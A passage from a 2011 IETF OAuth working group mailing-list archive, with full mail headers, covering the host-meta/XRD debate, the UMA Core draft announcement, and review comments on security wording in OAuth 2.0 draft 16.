Cc: Hannes Tschofenig <hannes.tschofenig@gmx.net>, = "ietf@ietf.org IETF" <ietf@ietf.org>, Eran Hammer-lahav <eran@hueniverse.com>, oauth WG <oauth@ietf.org>
S= ubject: Re: Second Last Call: <draft-hammer-hostmeta-16.txt> = (Web Host Metadata) to Proposed Standard -- feedback

I also never really understood why XRD was re-used.

Btw, XRD is not used by any of the current OAuth WG= documents, see http://datatracker.ietf.org/wg/oauth/

<= div>
On Jun 22, 2011, at 8:08 AM, Mark Nottingham wrote:

= * XRD -- XRD is an OASIS spec that's used by OpenID and OAuth. Maybe I'm ju= st scarred by WS-*, but it seems very over-engineered for what it does. I u= nderstand that the communities had reasons for using it to leverage an exis= ting user base for their specific user cases, but I don't see any reason to= generalise such a beast into a generic mechanism.
<= br>


_________= ______________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth


= --0-541410507-1309716115=:33071-- From hardjono@mit.edu Sun Jul 3 15:23:01 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2058B11E8080 for ; Sun, 3 Jul 2011 15:23:01 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.599 X-Spam-Level: X-Spam-Status: No, score=-3.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id pH4WiFJpcuBX for ; Sun, 3 Jul 2011 15:23:00 -0700 (PDT) Received: from dmz-mailsec-scanner-6.mit.edu (DMZ-MAILSEC-SCANNER-6.MIT.EDU [18.7.68.35]) by ietfa.amsl.com (Postfix) with ESMTP id 61F4B22800F for ; Sun, 3 Jul 2011 15:23:00 -0700 (PDT) X-AuditID: 12074423-b7cb3ae000000a19-d6-4e10ebbf0ee9 Received: from mailhub-auth-2.mit.edu ( [18.7.62.36]) by dmz-mailsec-scanner-6.mit.edu (Symantec Messaging Gateway) with SMTP id 0C.5F.02585.FBBE01E4; Sun, 3 Jul 2011 18:22:56 -0400 (EDT) Received: from outgoing-exchange-1.mit.edu (OUTGOING-EXCHANGE-1.MIT.EDU [18.9.28.15]) by mailhub-auth-2.mit.edu (8.13.8/8.9.2) with ESMTP id p63MMxnw003601; Sun, 3 Jul 2011 18:22:59 -0400 Received: from oc11exedge1.exchange.mit.edu (OC11EXEDGE1.EXCHANGE.MIT.EDU [18.9.3.17]) by outgoing-exchange-1.mit.edu (8.13.8/8.12.4) with ESMTP id p63MMvdV011530; Sun, 3 Jul 2011 18:22:58 -0400 Received: from w92exhub8.exchange.mit.edu (18.7.73.14) by oc11exedge1.exchange.mit.edu (18.9.3.17) with Microsoft SMTP Server (TLS) id 8.2.255.0; Sun, 3 Jul 2011 18:22:33 -0400 Received: from EXPO10.exchange.mit.edu ([18.9.4.15]) by w92exhub8.exchange.mit.edu ([18.7.73.14]) with mapi; Sun, 3 Jul 2011 18:22:57 -0400 From: Thomas Hardjono To: "oauth (oauth@ietf.org)" Date: Sun, 3 Jul 2011 18:22:54 -0400 Thread-Topic: New draft on UMA Core protocol --- FW: I-D Action: draft-hardjono-oauth-umacore-00.txt Thread-Index: Acw5z8C71O0en9qJRIuO7wl0+o+3IA== Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrMKsWRmVeSWpSXmKPExsUixG6nonvgtYCfweKfbBaHFl9itVi68x6r xcm3r9gsdp97we7A4tGyqpfZY+esu+weizftZ/NYsuQnUwBLFJdNSmpOZllqkb5dAldG46X/ 7AVXBCt+PV/H0sB4ibeLkZNDQsBEYvvqF4wQtpjEhXvr2boYuTiEBPYxSrReamGGcPYzSvT3 HIHKHGOU2De7mR3C2QLkHN3HAuH0M0o0zrnADjKMTUBD4tzvvWC2iICuxOpPvWAdzAIHGSWu XtzOBpJgEVCR+P3kKzOILSyQKHH9xWJmiIY0iYPrPrFA2HoS/Tu2AF3IwcErECDx5lIGSJgR 6Njvp9YwgdjMAuISt57MZ4J4QlBi0ew9zDAP/dv1kA2iXlTiTvt6Roh6HYkFuz+xQdjaEssW vgar5wXqPTnzCcsERvFZSMbOQtIyC0nLLCQtCxhZVjHKpuRW6eYmZuYUpybrFicn5uWlFuma 6eVmluilppRuYgTHpYvyDsY/B5UOMQpwMCrx8DJOEvATYk0sK67MPcQoycGkJMpr/gooxJeU n1KZkVicEV9UmpNafIhRgoNZSYT32nagHG9KYmVValE+TEqag0VJnDfX+7+vkEB6Yklqdmpq QWoRTFaGg0NJgpcZmH6EBItS01Mr0jJzShDSTBycIMN5gIY/A1nMW1yQmFucmQ6RP8WoKCXO KwHSLACSyCjNg+uFpc1XjOJArwjzKoNU8QBTLlz3K6DBTECDM/N5QQaXJCKkpBoYNVJjitJ2 109/u3Ip7+vPu4TPb22pYVx2OP5z4A2r6kW7Dq99riMs/j1Wq7LsPaPstdKsqcmWk2c5s9xq /tqkvavRLSXK3cLFvevP+jbbZwHr/4rePLQs5iofq8DNIwnnPpacmusXtPqbt7dTyt+lxQz6 snF8E4RNN25el1vn7NCl8k76BdMtJZbijERDLeai4kQA/N4CXXYDAAA= Cc: "barryleiba@computer.org" Subject: [OAUTH-WG] New draft on UMA Core protocol --- FW: I-D Action: draft-hardjono-oauth-umacore-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Jul 2011 22:23:01 -0000 Folks, FYI This is a new draft on the UMA Core protocol, which builds on OAuth2.0. Hopefully we can present/discuss it at IETF81 in Quebec City. /thomas/ _________________________________ -----Original Message----- From: i-d-announce-bounces@ietf.org [mailto:i-d-announce-bounces@ietf.org] = On Behalf Of internet-drafts@ietf.org Sent: Sunday, July 03, 2011 11:00 AM To: i-d-announce@ietf.org Subject: I-D Action: draft-hardjono-oauth-umacore-00.txt A New Internet-Draft is available from the on-line Internet-Drafts director= ies. Title : User-Managed Access (UMA) Core Protocol Author(s) : Thomas Hardjono Christian Scholz Paul Bryan Maciej Machulak Eve Maler Lukasz Moren Filename : draft-hardjono-oauth-umacore-00.txt Pages : 46 Date : 2011-07-03 This specification defines the User-Managed Access (UMA) core protocol. This protocol provides a method for users to control access to their protected resources, residing on any number of host sites, through an authorization manager that governs access decisions based on user policy. This document is an approved Report of the User-Managed Access Work Group of the Kantara Initiative. The User-Managed Access Work Group operates under Kantara IPR Policy - Option Patent and Copyright: Reciprocal Royalty Free with Opt-Out to Reasonable And Non discriminatory (RAND) and the publication of this document is governed by the policies outlined in this option. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-hardjono-oauth-umacore-00.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-hardjono-oauth-umacore-00.txt _______________________________________________ I-D-Announce mailing list I-D-Announce@ietf.org https://www.ietf.org/mailman/listinfo/i-d-announce Internet-Draft directories: http://www.ietf.org/shadow.html or ftp://ftp.ie= tf.org/ietf/1shadow-sites.txt From eran@hueniverse.com Sun Jul 3 20:21:51 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7721F1F0C39 for ; Sun, 3 Jul 2011 20:21:51 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.448 X-Spam-Level: X-Spam-Status: No, score=-3.448 tagged_above=-999 required=5 tests=[AWL=1.150, BAYES_00=-2.599, GB_I_LETTER=-2, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id dVykMO-KMDcE for ; Sun, 3 Jul 2011 20:21:50 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 61D8B21F852B for ; Sun, 3 Jul 2011 20:21:50 -0700 (PDT) Received: (qmail 24962 invoked from network); 4 Jul 2011 03:21:49 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 03:21:48 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Sun, 3 Jul 2011 20:21:48 -0700 From: Eran Hammer-Lahav To: Brian Eaton , "oauth@ietf.org" Date: Sun, 3 Jul 2011 20:21:43 -0700 Thread-Topic: [OAUTH-WG] draft 16 review notes Thread-Index: Acw5+YIwANLn3WuQS0uiiXII4Q/DjQ== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA366CAA15FBFeranhueniversecom_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] draft 16 review notes X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 03:21:51 -0000 --_000_CA366CAA15FBFeranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable From: Brian Eaton > Date: Sun, 22 May 2011 20:38:53 =960700 1.4.1 Authorization Code maybe expand the section on important security benefits. =93The use of authorization codes also improves the ability to recover in the event of compromise of an application server or authorization server.=94 Can you explain? 4.2.1 Authorization Request Validation of the redirect_uri parameter is more important for the implicit grant type. Section 2.1.1 leaves registration of the redirect URI as =93SHOULD=94. It=92s a =93MUST=94 for the implicit flow. Suggested language: The authorization server validates the request to ensure all required parameters are present and valid. The authorization server MUST verify that the redirect URI to which it will redirect the authorization code matches a redirect URI pre-registered by the client. The authorization server SHOULD verify the scheme, authority, and path of the redirect URI. The authorization server MAY verify the query parameters as well. Changed it for now to: The authorization server validates the request to ensure all required p= arameters are present and valid. The authorization server MUST verify that t= he redirect URI to which it will redirect the access token matches a redirect URI pre-re= gistered by the client. The authorization server MUST verify the scheme, authority, and= path components of the redirection URI and SHOULD verify the query and fragment compon= ents. I'm still not happy with this and want something stronger. 4.3.2 Access Token Request Really need language in here about the risk of brute force attacks on passw= ords. How about: Since this access token request utilizes the resource owner's p= assword, the authorization server MUST protect the endpoint against brute fo= rce attacks. Section 10. Security Considerations There are various security risks mentioned in the OAuth WRAP security considerations that seem worth mentioning here: http://trac.tools.ietf.org/wg/oauth/trac/raw-attachment/wiki/SecurityConsid= erations/OAuthWRAP2.0SecurityConsiderations.pdf Care to extract and edit for inclusion? Section 10.1 Client Authentication nit: =93MUST NOT issue client passwords to installed apps=94 is a dead letter, it is not going to change standard industry practice in the slightest. The language from section 3 is more constructive. I=92d suggest the following language for section 10.1 instead =93The authorization server MUST NOT assume that native or user-agent based applications can maintain the confidentiality of client secrets.=94 That does conform with industry practice, so it=92s more likely to be imple= mented. Do we have consensus for this change? Section 10.2 Client Impersonation I like the content of this section, but it seems to mix several different topics. - general risks of native applications - security considerations for =93immediate mode=94, where authorization requests are processed without end-user interaction. - validation rules for redirect URIs - open redirectors - access token design Most of those merit separate discussion. Need proposed text. 10.3 Access Token Credentials =93When using the implicit grant type, the access token credentials are transmitted in the URI fragment, which can expose the credentials to unauthorized parties.=94 That=92s basically FUD. This should be made much more specific. It falls into the general category of security considerations for redirectors and clients... Need proposed text. 10.9 Authorization Codes MUST be single use is a dead letter, because it requires atomic operations at scale. Even things like password changes are not atomic in user databases of moderate size. Authorization codes might be generated quite frequently (e.g. when =93immediate mode=94 flows are used), so a MUST for an atomic operation is unrealistic. Need proposed text. EHL --_000_CA366CAA15FBFeranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable


<= span style=3D"font-weight:bold">From: Brian Eaton <beaton@google.com>
Date: Sun, 22 May 2011 20:38:53 =960700


1.4.1 Authorization= Code

maybe expand the section on important securi= ty benefits.  =93The use of
authorization codes also im= proves the ability to recover in the event
of compromise of an ap= plication server or authorization server.=94
=

Can you explain?

=


4.2.1 Authorization Request

Validation of the redirect_uri parameter is more important for the
implicit grant type.  Section 2.1.1 leaves registration of the=
redirect URI as =93SHOULD=94.  It=92s a =93MUST=94 for= the implicit flow.
Suggested language:

= The authorization server validates the request to ensure all required
=
parameters are present and valid.  The authorization server = MUST
verify that the redirect URI to which it will redirect the
authorization code matches a redirect URI pre-registered by the
client.  The authorization server SHOULD verify the schem= e, authority,
and path of the redirect URI.  The author= ization server MAY verify the
query parameters as well.

Changed it for now to:

    The authorization server validates the request to e= nsure all required parameters are
       &nbs= p;    present and valid.  The authorization server MUST veri= fy that the redirect URI to which
       &nbs= p;    it will redirect the access token matches a redirect URI pr= e-registered by the client.
         &nb= sp;  The authorization server MUST verify the scheme, authority, and p= ath components of the
           &n= bsp;redirection URI and SHOULD verify the query and fragment components.

I'm still not happy with this and want somethi= ng stronger.


4= .3.2 Access Token Request

Really need language in = here about the risk of brute force attacks on passwords.
<= /blockquote>

How about:

=
            Since this access token= request utilizes the resource owner's password, the
  =          authorization server MUST protect the en= dpoint against brute force attacks.


Section 10.  Security Considerations<= /div>

There are various security risks mentioned in the = OAuth WRAP security
considerations that seem worth mentioning her= e:


Care to extract and edit for= inclusion?


Se= ction 10.1 Client Authentication

nit: =93MUST NOT = issue client passwords to installed apps=94 is a dead
letter, it = is not going to change standard industry practice in the
slightes= t.  The language from section 3 is more constructive.  = I=92d
suggest the following language for section 10.1 instead

=93The authorization server MUST NOT assume that nati= ve or user-agent
based applications can maintain the confidential= ity of client
secrets.=94

That does conf= orm with industry practice, so it=92s more likely to be implemented.
<= /div>

Do we have consensus for= this change?


= Section 10.2 Client Impersonation

I like the conte= nt of this section, but it seems to mix several
different topics.=

- general risks of native applications
=
- security considerations for =93immediate mode=94, where au= thorization
requests are processed without end-user interaction.<= /div>

- validation rules for redirect URIs
- open redirectors

- access token desi= gn

Most of those merit separate discussion.
<= /div>

Need proposed text.


10.3  Ac= cess Token Credentials
=93When using the implicit grant type, the= access token credentials are
transmitted in the URI fragment, wh= ich can expose the credentials to
unauthorized parties.=94
<= div>
That=92s basically FUD.  This should be made m= uch more specific.  It
falls into the general category = of security considerations for
redirectors and clients...

Need proposed text.
=


10.9 Authorization = Codes

MUST be single use is a dead letter, because= it requires atomic
operations at scale.  Even things l= ike password changes are not atomic
in user databases of moderate= size.  Authorization codes might be
generated quite fr= equently (e.g. when =93immediate mode=94 flows are
used), so a MU= ST for an atomic operation is unrealistic.

Need proposed text.

EHL

--_000_CA366CAA15FBFeranhueniversecom_-- From sweeden@au1.ibm.com Sun Jul 3 21:23:13 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BA4801F0C6B; Sun, 3 Jul 2011 21:23:13 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -7.579 X-Spam-Level: X-Spam-Status: No, score=-7.579 tagged_above=-999 required=5 tests=[AWL=0.979, BAYES_00=-2.599, GB_I_LETTER=-2, MIME_BASE64_BLANKS=0.041, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 4RDpwNtn13Kw; Sun, 3 Jul 2011 21:23:12 -0700 (PDT) Received: from e23smtp02.au.ibm.com (e23smtp02.au.ibm.com [202.81.31.144]) by ietfa.amsl.com (Postfix) with ESMTP id 7027B1F0C61; Sun, 3 Jul 2011 21:23:12 -0700 (PDT) Received: from d23relay04.au.ibm.com (d23relay04.au.ibm.com [202.81.31.246]) by e23smtp02.au.ibm.com (8.14.4/8.13.1) with ESMTP id p644GwUO016183; Mon, 4 Jul 2011 14:16:58 +1000 Received: from d23av04.au.ibm.com (d23av04.au.ibm.com [9.190.235.139]) by d23relay04.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p644Li0E1274096; Mon, 4 Jul 2011 14:21:44 +1000 Received: from d23av04.au.ibm.com (loopback [127.0.0.1]) by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p644MxnO015265; Mon, 4 Jul 2011 14:23:00 +1000 Received: from d23ml004.au.ibm.com (d23ml004.au.ibm.com [9.190.250.23]) by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p644Mx55015260; Mon, 4 Jul 2011 14:22:59 +1000 In-Reply-To: References: X-KeepSent: A7ED0D78:B6F3B469-4A2578C3:0017C401; type=4; name=$KeepSent To: Eran Hammer-Lahav X-Mailer: Lotus Notes Release 8.5.1FP1 SHF20 February 10, 2010 Message-ID: From: Shane B Weeden Date: Mon, 4 Jul 2011 14:22:46 +1000 X-MIMETrack: Serialize by Router on d23ml004/23/M/IBM(Release 8.5.1FP4HF290 | June 6, 2011) at 04/07/2011 14:26:27 MIME-Version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: base64 Cc: "oauth@ietf.org" , oauth-bounces@ietf.org Subject: Re: [OAUTH-WG] draft 16 review notes X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 04:23:13 -0000 RnJvbSA0LjIuMSBiZWxvdzoNCg0KICAgICAgICAgICAgVGhlIGF1dGhvcml6YXRpb24gc2VydmVy IHZhbGlkYXRlcyB0aGUgcmVxdWVzdCB0byBlbnN1cmUgYWxsDQpyZXF1aXJlZCBwYXJhbWV0ZXJz IGFyZQ0KICAgICAgICAgICAgcHJlc2VudCBhbmQgdmFsaWQuICBUaGUgYXV0aG9yaXphdGlvbiBz ZXJ2ZXIgTVVTVCB2ZXJpZnkgdGhhdA0KdGhlIHJlZGlyZWN0IFVSSSB0byB3aGljaA0KICAgICAg ICAgICAgaXQgd2lsbCByZWRpcmVjdCB0aGUgYWNjZXNzIHRva2VuIG1hdGNoZXMgYSByZWRpcmVj dCBVUkkNCnByZS1yZWdpc3RlcmVkIGJ5IHRoZSBjbGllbnQuDQogICAgICAgICAgICBUaGUgYXV0 aG9yaXphdGlvbiBzZXJ2ZXIgTVVTVCB2ZXJpZnkgdGhlIHNjaGVtZSwgYXV0aG9yaXR5LCBhbmQN CnBhdGggY29tcG9uZW50cyBvZiB0aGUNCiAgICAgICAgICAgIHJlZGlyZWN0aW9uIFVSSSBhbmQg U0hPVUxEIHZlcmlmeSB0aGUgcXVlcnkgYW5kIGZyYWdtZW50DQpjb21wb25lbnRzLg0KDQoNCldo YXQgZG9lcyBpdCBtZWFuIGZvciB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgdG8gInZlcmlmeSB0 aGUgZnJhZ21lbnQNCmNvbXBvbmVudCI/DQoNCg0KDQoNCkZyb206CUVyYW4gSGFtbWVyLUxhaGF2 IDxlcmFuQGh1ZW5pdmVyc2UuY29tPg0KVG86CUJyaWFuIEVhdG9uIDxiZWF0b25AZ29vZ2xlLmNv bT4sICJvYXV0aEBpZXRmLm9yZyINCiAgICAgICAgICAgIDxvYXV0aEBpZXRmLm9yZz4NCkRhdGU6 CTA0LTA3LTExIDAxOjI1IFBNDQpTdWJqZWN0OglSZTogW09BVVRILVdHXSBkcmFmdCAxNiByZXZp ZXcgbm90ZXMNClNlbnQgYnk6CW9hdXRoLWJvdW5jZXNAaWV0Zi5vcmcNCg0KDQoNCg0KDQpGcm9t OiBCcmlhbiBFYXRvbiA8YmVhdG9uQGdvb2dsZS5jb20+DQpEYXRlOiBTdW4sIDIyIE1heSAyMDEx IDIwOjM4OjUzIOKAkzA3MDANCg0KDQogICAgICAxLjQuMSBBdXRob3JpemF0aW9uIENvZGUNCg0K ICAgICAgbWF5YmUgZXhwYW5kIHRoZSBzZWN0aW9uIG9uIGltcG9ydGFudCBzZWN1cml0eSBiZW5l Zml0cy4gIOKAnFRoZSB1c2Ugb2YNCiAgICAgIGF1dGhvcml6YXRpb24gY29kZXMgYWxzbyBpbXBy b3ZlcyB0aGUgYWJpbGl0eSB0byByZWNvdmVyIGluIHRoZSBldmVudA0KICAgICAgb2YgY29tcHJv bWlzZSBvZiBhbiBhcHBsaWNhdGlvbiBzZXJ2ZXIgb3IgYXV0aG9yaXphdGlvbiBzZXJ2ZXIu4oCd DQoNCkNhbiB5b3UgZXhwbGFpbj8NCg0KDQoNCiAgICAgIDQuMi4xIEF1dGhvcml6YXRpb24gUmVx dWVzdA0KDQogICAgICBWYWxpZGF0aW9uIG9mIHRoZSByZWRpcmVjdF91cmkgcGFyYW1ldGVyIGlz IG1vcmUgaW1wb3J0YW50IGZvciB0aGUNCiAgICAgIGltcGxpY2l0IGdyYW50IHR5cGUuICBTZWN0 aW9uIDIuMS4xIGxlYXZlcyByZWdpc3RyYXRpb24gb2YgdGhlDQogICAgICByZWRpcmVjdCBVUkkg YXMg4oCcU0hPVUxE4oCdLiAgSXTigJlzIGEg4oCcTVVTVOKAnSBmb3IgdGhlIGltcGxpY2l0IGZs b3cuDQogICAgICBTdWdnZXN0ZWQgbGFuZ3VhZ2U6DQoNCiAgICAgIFRoZSBhdXRob3JpemF0aW9u IHNlcnZlciB2YWxpZGF0ZXMgdGhlIHJlcXVlc3QgdG8gZW5zdXJlIGFsbCByZXF1aXJlZA0KICAg ICAgcGFyYW1ldGVycyBhcmUgcHJlc2VudCBhbmQgdmFsaWQuICBUaGUgYXV0aG9yaXphdGlvbiBz ZXJ2ZXIgTVVTVA0KICAgICAgdmVyaWZ5IHRoYXQgdGhlIHJlZGlyZWN0IFVSSSB0byB3aGljaCBp dCB3aWxsIHJlZGlyZWN0IHRoZQ0KICAgICAgYXV0aG9yaXphdGlvbiBjb2RlIG1hdGNoZXMgYSBy ZWRpcmVjdCBVUkkgcHJlLXJlZ2lzdGVyZWQgYnkgdGhlDQogICAgICBjbGllbnQuICBUaGUgYXV0 aG9yaXphdGlvbiBzZXJ2ZXIgU0hPVUxEIHZlcmlmeSB0aGUgc2NoZW1lLA0KICAgICAgYXV0aG9y aXR5LA0KICAgICAgYW5kIHBhdGggb2YgdGhlIHJlZGlyZWN0IFVSSS4gIFRoZSBhdXRob3JpemF0 aW9uIHNlcnZlciBNQVkgdmVyaWZ5DQogICAgICB0aGUNCiAgICAgIHF1ZXJ5IHBhcmFtZXRlcnMg YXMgd2VsbC4NCg0KQ2hhbmdlZCBpdCBmb3Igbm93IHRvOg0KDQogICAgVGhlIGF1dGhvcml6YXRp b24gc2VydmVyIHZhbGlkYXRlcyB0aGUgcmVxdWVzdCB0byBlbnN1cmUgYWxsIHJlcXVpcmVkDQpw YXJhbWV0ZXJzIGFyZQ0KICAgICAgICAgICAgcHJlc2VudCBhbmQgdmFsaWQuICBUaGUgYXV0aG9y aXphdGlvbiBzZXJ2ZXIgTVVTVCB2ZXJpZnkgdGhhdA0KdGhlIHJlZGlyZWN0IFVSSSB0byB3aGlj aA0KICAgICAgICAgICAgaXQgd2lsbCByZWRpcmVjdCB0aGUgYWNjZXNzIHRva2VuIG1hdGNoZXMg YSByZWRpcmVjdCBVUkkNCnByZS1yZWdpc3RlcmVkIGJ5IHRoZSBjbGllbnQuDQogICAgICAgICAg ICBUaGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgTVVTVCB2ZXJpZnkgdGhlIHNjaGVtZSwgYXV0aG9y aXR5LCBhbmQNCnBhdGggY29tcG9uZW50cyBvZiB0aGUNCiAgICAgICAgICAgIHJlZGlyZWN0aW9u IFVSSSBhbmQgU0hPVUxEIHZlcmlmeSB0aGUgcXVlcnkgYW5kIGZyYWdtZW50DQpjb21wb25lbnRz Lg0KDQpJJ20gc3RpbGwgbm90IGhhcHB5IHdpdGggdGhpcyBhbmQgd2FudCBzb21ldGhpbmcgc3Ry b25nZXIuDQoNCg0KICAgICAgNC4zLjIgQWNjZXNzIFRva2VuIFJlcXVlc3QNCg0KICAgICAgUmVh bGx5IG5lZWQgbGFuZ3VhZ2UgaW4gaGVyZSBhYm91dCB0aGUgcmlzayBvZiBicnV0ZSBmb3JjZSBh dHRhY2tzIG9uDQogICAgICBwYXNzd29yZHMuDQoNCkhvdyBhYm91dDoNCg0KICAgICAgICAgICAg U2luY2UgdGhpcyBhY2Nlc3MgdG9rZW4gcmVxdWVzdCB1dGlsaXplcyB0aGUgcmVzb3VyY2Ugb3du ZXIncw0KcGFzc3dvcmQsIHRoZQ0KICAgICAgICAgICAgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgTVVT VCBwcm90ZWN0IHRoZSBlbmRwb2ludCBhZ2FpbnN0IGJydXRlDQpmb3JjZSBhdHRhY2tzLg0KDQoN CiAgICAgIFNlY3Rpb24gMTAuICBTZWN1cml0eSBDb25zaWRlcmF0aW9ucw0KDQogICAgICBUaGVy ZSBhcmUgdmFyaW91cyBzZWN1cml0eSByaXNrcyBtZW50aW9uZWQgaW4gdGhlIE9BdXRoIFdSQVAg c2VjdXJpdHkNCiAgICAgIGNvbnNpZGVyYXRpb25zIHRoYXQgc2VlbSB3b3J0aCBtZW50aW9uaW5n IGhlcmU6DQoNCiAgICAgIGh0dHA6Ly90cmFjLnRvb2xzLmlldGYub3JnL3dnL29hdXRoL3RyYWMv cmF3LWF0dGFjaG1lbnQvd2lraS9TZWN1cml0eUNvbnNpZGVyYXRpb25zL09BdXRoV1JBUDIuMFNl Y3VyaXR5Q29uc2lkZXJhdGlvbnMucGRmDQoNCkNhcmUgdG8gZXh0cmFjdCBhbmQgZWRpdCBmb3Ig aW5jbHVzaW9uPw0KDQoNCiAgICAgIFNlY3Rpb24gMTAuMSBDbGllbnQgQXV0aGVudGljYXRpb24N Cg0KICAgICAgbml0OiDigJxNVVNUIE5PVCBpc3N1ZSBjbGllbnQgcGFzc3dvcmRzIHRvIGluc3Rh bGxlZCBhcHBz4oCdIGlzIGEgZGVhZA0KICAgICAgbGV0dGVyLCBpdCBpcyBub3QgZ29pbmcgdG8g Y2hhbmdlIHN0YW5kYXJkIGluZHVzdHJ5IHByYWN0aWNlIGluIHRoZQ0KICAgICAgc2xpZ2h0ZXN0 LiAgVGhlIGxhbmd1YWdlIGZyb20gc2VjdGlvbiAzIGlzIG1vcmUgY29uc3RydWN0aXZlLiAgSeKA mWQNCiAgICAgIHN1Z2dlc3QgdGhlIGZvbGxvd2luZyBsYW5ndWFnZSBmb3Igc2VjdGlvbiAxMC4x IGluc3RlYWQNCg0KICAgICAg4oCcVGhlIGF1dGhvcml6YXRpb24gc2VydmVyIE1VU1QgTk9UIGFz c3VtZSB0aGF0IG5hdGl2ZSBvciB1c2VyLWFnZW50DQogICAgICBiYXNlZCBhcHBsaWNhdGlvbnMg Y2FuIG1haW50YWluIHRoZSBjb25maWRlbnRpYWxpdHkgb2YgY2xpZW50DQogICAgICBzZWNyZXRz LuKAnQ0KDQogICAgICBUaGF0IGRvZXMgY29uZm9ybSB3aXRoIGluZHVzdHJ5IHByYWN0aWNlLCBz byBpdOKAmXMgbW9yZSBsaWtlbHkgdG8gYmUNCiAgICAgIGltcGxlbWVudGVkLg0KDQpEbyB3ZSBo YXZlIGNvbnNlbnN1cyBmb3IgdGhpcyBjaGFuZ2U/DQoNCg0KICAgICAgU2VjdGlvbiAxMC4yIENs aWVudCBJbXBlcnNvbmF0aW9uDQoNCiAgICAgIEkgbGlrZSB0aGUgY29udGVudCBvZiB0aGlzIHNl Y3Rpb24sIGJ1dCBpdCBzZWVtcyB0byBtaXggc2V2ZXJhbA0KICAgICAgZGlmZmVyZW50IHRvcGlj cy4NCg0KICAgICAgLSBnZW5lcmFsIHJpc2tzIG9mIG5hdGl2ZSBhcHBsaWNhdGlvbnMNCg0KICAg ICAgLSBzZWN1cml0eSBjb25zaWRlcmF0aW9ucyBmb3Ig4oCcaW1tZWRpYXRlIG1vZGXigJ0sIHdo ZXJlIGF1dGhvcml6YXRpb24NCiAgICAgIHJlcXVlc3RzIGFyZSBwcm9jZXNzZWQgd2l0aG91dCBl bmQtdXNlciBpbnRlcmFjdGlvbi4NCg0KICAgICAgLSB2YWxpZGF0aW9uIHJ1bGVzIGZvciByZWRp cmVjdCBVUklzDQoNCiAgICAgIC0gb3BlbiByZWRpcmVjdG9ycw0KDQogICAgICAtIGFjY2VzcyB0 b2tlbiBkZXNpZ24NCg0KICAgICAgTW9zdCBvZiB0aG9zZSBtZXJpdCBzZXBhcmF0ZSBkaXNjdXNz aW9uLg0KDQpOZWVkIHByb3Bvc2VkIHRleHQuDQoNCg0KICAgICAgMTAuMyAgQWNjZXNzIFRva2Vu IENyZWRlbnRpYWxzDQogICAgICDigJxXaGVuIHVzaW5nIHRoZSBpbXBsaWNpdCBncmFudCB0eXBl 